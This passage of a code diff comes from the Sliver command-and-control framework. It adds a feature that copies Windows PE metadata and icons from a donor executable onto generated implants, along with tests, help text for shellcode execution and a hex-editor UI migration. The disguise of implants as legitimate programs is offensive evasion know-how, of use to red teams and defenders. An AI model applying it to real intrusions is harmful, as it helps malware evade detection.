if err != nil {
return nil, fmt.Errorf("invalid spoof metadata config %s: %w", configPath, err)
}
return spoofMetadata, nil
}
func parseSpoofMetadataFromPath(pathValue string, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
if config == nil {
return nil, errors.New("missing implant configuration for spoof metadata validation")
}
pathValue = expandPath(pathValue)
sourceData, err := os.ReadFile(pathValue)
if err != nil {
return nil, fmt.Errorf("failed to read spoof metadata source path %s: %w", pathValue, err)
}
if err := validateSpoofMetadataSourceForTarget(config, pathValue, sourceData); err != nil {
return nil, err
}
return &clientpb.SpoofMetadataConfig{
PE: &clientpb.PESpoofMetadataConfig{
Source: &clientpb.SpoofMetadataFile{
Name: filepath.Base(pathValue),
Data: sourceData,
},
},
}, nil
}
func validateSpoofMetadataSourceForTarget(config *clientpb.ImplantConfig, sourcePath string, sourceData []byte) error {
if config == nil {
return errors.New("missing implant configuration for spoof metadata validation")
}
if strings.ToLower(config.GetGOOS()) != "windows" {
return fmt.Errorf("--%s path source currently supports only windows PE targets (got %s/%s)", spoofMetadataFlagName, config.GetGOOS(), config.GetGOARCH())
}
switch config.GetFormat() {
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE, clientpb.OutputFormat_SHARED_LIB:
default:
return fmt.Errorf("--%s path source requires an executable/service/shared target format (got %s)", spoofMetadataFlagName, nameOfOutputFormat(config.GetFormat()))
}
peFile, err := pe.NewFile(bytes.NewReader(sourceData))
if err != nil {
return fmt.Errorf("spoof metadata source %s is not a valid PE: %w", sourcePath, err)
}
defer peFile.Close()
expectedMachine, err := expectedPEMachineForGoArch(config.GetGOARCH())
if err != nil {
return err
}
if peFile.FileHeader.Machine != expectedMachine {
return fmt.Errorf(
"spoof metadata source %s has machine %s, expected %s for target arch %s",
sourcePath,
peMachineName(peFile.FileHeader.Machine),
peMachineName(expectedMachine),
config.GetGOARCH(),
)
}
isDLL := peFile.FileHeader.Characteristics&imageFileDLLCharacteristic != 0
if config.GetFormat() == clientpb.OutputFormat_SHARED_LIB && !isDLL {
return fmt.Errorf("spoof metadata source %s must be a DLL for shared target format", sourcePath)
}
if (config.GetFormat() == clientpb.OutputFormat_EXECUTABLE || config.GetFormat() == clientpb.OutputFormat_SERVICE) && isDLL {
return fmt.Errorf("spoof metadata source %s appears to be a DLL but target format is %s", sourcePath, nameOfOutputFormat(config.GetFormat()))
}
return nil
}
func expectedPEMachineForGoArch(goarch string) (uint16, error) {
switch strings.ToLower(strings.TrimSpace(goarch)) {
case "amd64", "x64":
return pe.IMAGE_FILE_MACHINE_AMD64, nil
case "386", "x86", "i386":
return pe.IMAGE_FILE_MACHINE_I386, nil
case "arm64", "aarch64":
return pe.IMAGE_FILE_MACHINE_ARM64, nil
default:
return 0, fmt.Errorf("unsupported windows architecture for spoof metadata source validation: %s", goarch)
}
}
func peMachineName(machine uint16) string {
switch machine {
case pe.IMAGE_FILE_MACHINE_AMD64:
return "amd64"
case pe.IMAGE_FILE_MACHINE_I386:
return "386"
case pe.IMAGE_FILE_MACHINE_ARM64:
return "arm64"
default:
return fmt.Sprintf("0x%x", machine)
}
}
func spoofMetadataConfigToProtobuf(config *assets.SpoofMetadataConfig) (*clientpb.SpoofMetadataConfig, error) {
if config == nil {
return nil, errors.New("missing spoof metadata configuration")
}
spoofMetadata := &clientpb.SpoofMetadataConfig{}
if config.PE != nil {
source, err := resolveSpoofMetadataDataSource("pe.source", config.PE.Source)
if err != nil {
return nil, err
}
icon, err := resolveSpoofMetadataDataSource("pe.icon", config.PE.Icon)
if err != nil {
return nil, err
}
spoofMetadata.PE = &clientpb.PESpoofMetadataConfig{
Source: source,
Icon: icon,
ResourceDirectory: imageResourceDirectoryToProtobuf(config.PE.ResourceDirectory),
ResourceDirectoryEntries: imageResourceDirectoryEntriesToProtobuf(config.PE.ResourceDirectoryEntries),
ResourceDataEntries: imageResourceDataEntriesToProtobuf(config.PE.ResourceDataEntries),
ExportDirectory: imageExportDirectoryToProtobuf(config.PE.ExportDirectory),
}
}
if spoofMetadata.GetPE() == nil {
return nil, errors.New("no supported executable metadata configuration found")
}
if spoofMetadata.GetPE().GetSource() == nil || len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
return nil, errors.New("pe.source requires either path or base64 content")
}
return spoofMetadata, nil
}
func resolveSpoofMetadataDataSource(name string, source *assets.SpoofMetadataDataSource) (*clientpb.SpoofMetadataFile, error) {
if source == nil {
return nil, nil
}
pathValue := strings.TrimSpace(source.Path)
base64Value := strings.TrimSpace(source.Base64)
if pathValue != "" && base64Value != "" {
return nil, fmt.Errorf("%s cannot set both path and base64", name)
}
if pathValue == "" && base64Value == "" {
return nil, nil
}
var (
data []byte
err error
)
fileName := strings.TrimSpace(source.Name)
if pathValue != "" {
pathValue = expandPath(pathValue)
data, err = os.ReadFile(pathValue)
if err != nil {
return nil, fmt.Errorf("%s failed to read path %s: %w", name, pathValue, err)
}
if fileName == "" {
fileName = filepath.Base(pathValue)
}
} else {
data, err = base64.StdEncoding.DecodeString(base64Value)
if err != nil {
data, err = base64.RawStdEncoding.DecodeString(base64Value)
if err != nil {
return nil, fmt.Errorf("%s has invalid base64 data: %w", name, err)
}
}
if fileName == "" {
fileName = "inline-data"
}
}
return &clientpb.SpoofMetadataFile{
Name: fileName,
Data: data,
}, nil
}
func imageResourceDirectoryToProtobuf(src *assets.ImageResourceDirectory) *clientpb.IMAGE_RESOURCE_DIRECTORY {
if src == nil {
return nil
}
return &clientpb.IMAGE_RESOURCE_DIRECTORY{
Characteristics: src.Characteristics,
TimeDateStamp: src.TimeDateStamp,
MajorVersion: src.MajorVersion,
MinorVersion: src.MinorVersion,
NumberOfNamedEntries: src.NumberOfNamedEntries,
NumberOfIdEntries: src.NumberOfIDEntries,
}
}
func imageResourceDirectoryEntriesToProtobuf(src []*assets.ImageResourceDirectoryEntry) []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY {
if len(src) == 0 {
return nil
}
out := make([]*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(src))
for _, entry := range src {
if entry == nil {
continue
}
out = append(out, &clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY{
Name: entry.Name,
OffsetToData: entry.OffsetToData,
})
}
return out
}
func imageResourceDataEntriesToProtobuf(src []*assets.ImageResourceDataEntry) []*clientpb.IMAGE_RESOURCE_DATA_ENTRY {
if len(src) == 0 {
return nil
}
out := make([]*clientpb.IMAGE_RESOURCE_DATA_ENTRY, 0, len(src))
for _, entry := range src {
if entry == nil {
continue
}
out = append(out, &clientpb.IMAGE_RESOURCE_DATA_ENTRY{
OffsetToData: entry.OffsetToData,
Size: entry.Size,
CodePage: entry.CodePage,
Reserved: entry.Reserved,
})
}
return out
}
func imageExportDirectoryToProtobuf(src *assets.ImageExportDirectory) *clientpb.IMAGE_EXPORT_DIRECTORY {
if src == nil {
return nil
}
return &clientpb.IMAGE_EXPORT_DIRECTORY{
Characteristics: src.Characteristics,
TimeDateStamp: src.TimeDateStamp,
MajorVersion: src.MajorVersion,
MinorVersion: src.MinorVersion,
Name: src.Name,
Base: src.Base,
NumberOfFunctions: src.NumberOfFunctions,
NumberOfNames: src.NumberOfNames,
AddressOfFunctions: src.AddressOfFunctions,
AddressOfNames: src.AddressOfNames,
AddressOfNameOrdinals: src.AddressOfNameOrdinals,
}
}
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
@@ -1146,7 +1469,150 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
func applySpoofMetadataToBuild(implantBuildID string, implantName string, spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) error {
if spoofMetadata == nil {
return nil
}
req := &clientpb.GenerateSpoofMetadataReq{
SpoofMetadata: spoofMetadata,
}
if buildID := strings.TrimSpace(implantBuildID); buildID != "" {
req.ImplantBuildID = buildID
} else if buildName := strings.TrimSpace(implantName); buildName != "" {
req.ImplantName = buildName
}
if req.GetImplantBuildID() == "" && req.GetImplantName() == "" {
return errors.New("unable to determine build selector for spoof metadata")
}
printSpoofMetadataSummary(spoofMetadata, con)
con.PrintInfof("Applying spoof metadata to %s ... ", spoofMetadataBuildSelectorDescription(req))
_, err := con.Rpc.GenerateSpoofMetadata(context.Background(), req)
if err != nil {
con.Printf("failed\n")
return err
}
con.Printf("done\n")
return nil
}
func printSpoofMetadataSummary(spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) {
if spoofMetadata == nil || con == nil {
return
}
peMetadata := spoofMetadata.GetPE()
if peMetadata == nil {
return
}
sourceName := "<unset>"
sourceSize := 0
if source := peMetadata.GetSource(); source != nil {
sourceName = strings.TrimSpace(source.GetName())
if sourceName == "" {
sourceName = "inline-data"
}
sourceSize = len(source.GetData())
}
iconSummary := "none"
if icon := peMetadata.GetIcon(); icon != nil && len(icon.GetData()) > 0 {
iconName := strings.TrimSpace(icon.GetName())
if iconName == "" {
iconName = "inline-data"
}
iconSummary = fmt.Sprintf("%s (%d bytes)", iconName, len(icon.GetData()))
}
overrideLabels := []string{}
if peMetadata.GetResourceDirectory() != nil {
overrideLabels = append(overrideLabels, "resource-directory")
}
if len(peMetadata.GetResourceDirectoryEntries()) > 0 {
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-entries(%d)", len(peMetadata.GetResourceDirectoryEntries())))
}
if len(peMetadata.GetResourceDataEntries()) > 0 {
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-data-entries(%d)", len(peMetadata.GetResourceDataEntries())))
}
if peMetadata.GetExportDirectory() != nil {
overrideLabels = append(overrideLabels, "export-directory")
}
overridesSummary := "none"
if len(overrideLabels) > 0 {
overridesSummary = strings.Join(overrideLabels, ", ")
}
con.PrintInfof("%s\n", console.StyleBold.Render("Spoof Metadata Details:"))
con.PrintInfof(" Source: %s (%d bytes)\n", sourceName, sourceSize)
con.PrintInfof(" Icon: %s\n", iconSummary)
con.PrintInfof(" Overrides: %s\n", overridesSummary)
}
func spoofMetadataBuildSelectorDescription(req *clientpb.GenerateSpoofMetadataReq) string {
if req == nil {
return "build"
}
if buildID := strings.TrimSpace(req.GetImplantBuildID()); buildID != "" {
return fmt.Sprintf("build id %s", buildID)
}
if buildName := strings.TrimSpace(req.GetImplantName()); buildName != "" {
return fmt.Sprintf("build name %s", buildName)
}
return "build"
}
func requiresWindowsExecutableSuffix(config *clientpb.ImplantConfig) bool {
if config == nil || !strings.EqualFold(config.GetGOOS(), "windows") {
return false
}
switch config.GetFormat() {
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE:
return true
default:
return false
}
}
func ensureOutputPathSuffix(pathValue string, config *clientpb.ImplantConfig) string {
if pathValue == "" || !requiresWindowsExecutableSuffix(config) {
return pathValue
}
if strings.HasSuffix(strings.ToLower(pathValue), ".exe") {
return pathValue
}
return pathValue + ".exe"
}
func outputSavePath(save string, defaultName string, config *clientpb.ImplantConfig, con *console.SliverClient) (string, error) {
defaultName = ensureOutputPathSuffix(defaultName, config)
saveTo, err := saveLocation(save, defaultName, con)
if err != nil {
return "", err
}
adjustedPath := ensureOutputPathSuffix(saveTo, config)
if adjustedPath == saveTo {
return saveTo, nil
}
if info, err := os.Stat(adjustedPath); err == nil && !info.IsDir() {
var confirm bool
_ = forms.Confirm("Overwrite existing file?", &confirm)
if !confirm {
return "", errors.New("file already exists")
}
} else if err != nil && !os.IsNotExist(err) {
return "", err
}
if con != nil {
con.PrintInfof("Adjusted output filename to %s for Windows executable format\n", adjustedPath)
}
return adjustedPath, nil
}
func externalBuild(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
@@ -1246,6 +1712,12 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
if spoofMetadata != nil {
if err := applySpoofMetadataToBuild("", name, spoofMetadata, con); err != nil {
return nil, err
}
}
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: name,
})
@@ -1300,7 +1772,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
}
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
saveTo, err := outputSavePath(save, filepath.Base(generated.File.Name), config, con)
if err != nil {
return nil, err
}
@@ -1315,7 +1787,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
return nil, nil
}
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
func compile(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -1343,6 +1815,25 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
return nil, err
}
if spoofMetadata != nil {
if err := applySpoofMetadataToBuild(generated.GetImplantBuildID(), generated.GetImplantName(), spoofMetadata, con); err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
implantName := generated.GetImplantName()
if implantName == "" {
implantName = name
}
generated, err = con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
if len(generated.File.Data) == 0 {
@@ -1399,7 +1890,7 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
}
}
saveTo, err := saveLocation(save, generated.File.Name, con)
saveTo, err := outputSavePath(save, generated.File.Name, config, con)
if err != nil {
return nil, err
}
+1 -1
View File
@@ -81,7 +81,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, save, con)
_, err := compile(implantName, profile.Config, nil, save, con)
if err != nil {
return
}
@@ -0,0 +1,193 @@
package generate
import (
"encoding/base64"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
func TestParseSpoofMetadataFlagDefaultOff(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata != nil {
t.Fatal("expected spoof metadata to be nil when flag is not set")
}
}
func TestParseSpoofMetadataFlagNoArgUsesConfig(t *testing.T) {
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
cmd := newSpoofMetadataTestCommand(t)
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName}); err != nil {
t.Fatalf("ParseFlags() error: %v", err)
}
rootDir := os.Getenv("SLIVER_CLIENT_ROOT_DIR")
configPath := filepath.Join(rootDir, "spoof-metadata.yaml")
sourceData := []byte{0x01, 0x02, 0x03}
configData := "pe:\n source:\n name: donor.exe\n base64: " + base64.StdEncoding.EncodeToString(sourceData) + "\n"
if err := os.WriteFile(configPath, []byte(configData), 0o600); err != nil {
t.Fatalf("write spoof metadata config: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
t.Fatal("expected spoof metadata source from config file")
}
if got := spoofMetadata.GetPE().GetSource().GetData(); string(got) != string(sourceData) {
t.Fatalf("source data mismatch: got=%x want=%x", got, sourceData)
}
}
func TestParseSpoofMetadataFlagPathFromPositionalArg(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName, sourcePath}); err != nil {
t.Fatalf("ParseFlags() error: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
t.Fatal("expected spoof metadata source from positional path")
}
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
}
}
func TestParseSpoofMetadataFlagPathRejectsNonWindowsTarget(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := writeTempFile(t, "not-pe.bin", []byte("abc"))
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
t.Fatalf("set flag: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "linux",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
_, err := parseSpoofMetadataFlag(cmd, config)
if err == nil {
t.Fatal("expected error for non-windows target")
}
if !strings.Contains(err.Error(), "supports only windows PE targets") {
t.Fatalf("unexpected error: %v", err)
}
}
func TestParseSpoofMetadataFlagPathChecksMachine(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := goPEFixturePath(t, "gcc-386-mingw-exec")
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
t.Fatalf("set flag: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
_, err := parseSpoofMetadataFlag(cmd, config)
if err == nil {
t.Fatal("expected machine mismatch error")
}
if !strings.Contains(err.Error(), "expected amd64") {
t.Fatalf("unexpected error: %v", err)
}
}
func TestParseSpoofMetadataFlagPathSuccess(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
t.Fatalf("set flag: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
t.Fatal("expected spoof metadata source from path")
}
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
}
if len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
t.Fatal("expected non-empty source data")
}
}
func TestSpoofMetadataFlagUsageIsClean(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
usage := cmd.Flags().FlagUsages()
if !strings.Contains(usage, "--"+spoofMetadataFlagName) {
t.Fatalf("expected usage to include spoof metadata flag, got: %s", usage)
}
if strings.Contains(usage, "string[=") {
t.Fatalf("unexpected optional-string marker in usage: %s", usage)
}
if strings.Contains(usage, `[="`) {
t.Fatalf("unexpected no-opt default rendering in usage: %s", usage)
}
}
func newSpoofMetadataTestCommand(t *testing.T) *cobra.Command {
t.Helper()
cmd := &cobra.Command{Use: "test"}
bindSpoofMetadataFlag(cmd.Flags())
return cmd
}
func writeTempFile(t *testing.T, name string, data []byte) string {
t.Helper()
path := filepath.Join(t.TempDir(), name)
if err := os.WriteFile(path, data, 0o600); err != nil {
t.Fatalf("write temp file: %v", err)
}
return path
}
func goPEFixturePath(t *testing.T, fixtureName string) string {
t.Helper()
fixturePath := filepath.Join(runtime.GOROOT(), "src", "debug", "pe", "testdata", fixtureName)
if _, err := os.Stat(fixturePath); err != nil {
t.Skipf("missing PE fixture %s: %v", fixturePath, err)
}
return fixturePath
}
@@ -0,0 +1,36 @@
package generate
import "strings"
type spoofMetadataFlagValue struct {
value string
}
func newSpoofMetadataFlagValue() *spoofMetadataFlagValue {
return &spoofMetadataFlagValue{}
}
func (s *spoofMetadataFlagValue) Set(value string) error {
value = strings.TrimSpace(value)
switch strings.ToLower(value) {
case "", "true":
s.value = "true"
case "false":
s.value = "false"
default:
s.value = value
}
return nil
}
func (s *spoofMetadataFlagValue) String() string {
return s.value
}
func (s *spoofMetadataFlagValue) Type() string {
return "bool"
}
func (s *spoofMetadataFlagValue) IsBoolFlag() bool {
return true
}
+7 -5
View File
@@ -24,11 +24,12 @@ package help
import (
"fmt"
"image/color"
"strings"
"charm.land/lipgloss/v2"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
const (
@@ -436,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -1432,14 +1434,14 @@ type helpStyleState struct {
bold bool
underline bool
fgSet bool
fg lipgloss.Color
fg color.Color
}
func (s *helpStyleState) reset() {
s.bold = false
s.underline = false
s.fgSet = false
s.fg = ""
s.fg = nil
}
func (s *helpStyleState) apply(token string) bool {
+54 -44
View File
@@ -5,10 +5,10 @@ import (
"strconv"
"strings"
tea "charm.land/bubbletea/v2"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
@@ -62,9 +62,12 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
lineStyle = lipgloss.NewStyle()
)
const (
ansiReverseOn = "\x1b[7m"
ansiReverseOff = "\x1b[0m"
)
func modifiedStyle() lipgloss.Style {
@@ -72,11 +75,6 @@ func modifiedStyle() lipgloss.Style {
return console.StyleWarning
}
func modifiedCursorStyle() lipgloss.Style {
// Read from the global console theme so theme.yaml changes are reflected.
return console.StyleWarning.Copy().Reverse(true)
}
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
@@ -114,30 +112,31 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
case tea.KeyPressMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
key := msg.Key()
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
return m.handleCommand(key)
case modeHexEdit:
return m.handleHexEdit(msg)
return m.handleHexEdit(key)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
return m.handleASCIIEdit(key)
default:
return m.handleNormal(msg)
return m.handleNormal(key)
}
}
return m, nil
}
func (m *editorModel) View() string {
func (m *editorModel) View() tea.View {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
@@ -160,19 +159,33 @@ func (m *editorModel) View() string {
}
if m.height < 2 {
return b.String()
return hexEditorView(b.String())
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
b.WriteString(renderStatusBar(m.width, m.statusLine()))
if m.height < 3 {
return b.String()
return hexEditorView(b.String())
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
return hexEditorView(b.String())
}
func renderStatusBar(width int, text string) string {
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
}
func renderCursorCell(cell string) string {
return ansiReverseOn + cell + ansiReverseOff
}
func hexEditorView(content string) tea.View {
v := tea.NewView(content)
v.AltScreen = true
return v
}
func (m *editorModel) result() editorResult {
@@ -185,8 +198,8 @@ func (m *editorModel) result() editorResult {
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
@@ -201,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
default:
if key.Text != "" {
m.command += key.Text
}
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
@@ -230,8 +245,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
val, ok := hexNibble(r)
if !ok {
continue
@@ -250,8 +265,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
@@ -262,8 +277,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if r < 0 || r > 0xFF {
continue
}
@@ -275,8 +290,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
@@ -287,8 +302,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if m.handleNormalRune(r) {
break
}
@@ -408,13 +423,8 @@ func (m *editorModel) renderLine(lineIndex int) string {
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle().Render(hexRaw)
asciiCells[i] = modifiedCursorStyle().Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
hexCells[i] = renderCursorCell(hexRaw)
asciiCells[i] = renderCursorCell(asciiRaw)
continue
}
if isModified {
+12 -2
View File
@@ -8,6 +8,7 @@ import (
"strings"
"time"
tea "charm.land/bubbletea/v2"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
@@ -15,8 +16,9 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
@@ -174,7 +176,15 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
